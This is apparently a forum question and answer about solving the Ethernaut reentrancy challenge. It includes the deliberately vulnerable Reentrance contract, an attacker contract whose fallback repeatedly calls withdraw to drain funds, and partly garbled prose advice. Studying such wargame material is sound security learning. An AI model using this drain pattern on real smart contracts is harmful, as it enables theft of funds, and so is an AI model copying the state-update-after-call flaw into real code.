I'm trying to solve the reentrancy attack ethernaut challenge. Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
- Donate to the Reentrance contract from another contract.
- Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1. I can't see what's wrong with my code (very new to Solidity). Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the
Reentrancein case you need to have clean state variables2- In
calldonatefunction I addedrequirefor debuggin3- call
calldonatefunction. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I thinktoaddress must be theinterceptoraddress itself. since inReentractcontract,balancesmapping is updated with themsg.valueyou have to enter amount in the value as in the imagesuccessfully sent 10 wei, balance is updated
4- you have to update the
fallbackfunction..callmethod did not work I think that is because ofcallis a safe function. (or I had some bugs). so I updated the fallback5-
callwithdrawfunction signature should be updated.Reentrancecontract passesuintbut you areuint2566- call
callwithdrawfunction. Because you have this logic insidefallbackafter you called it and check the balances you should see 5 left.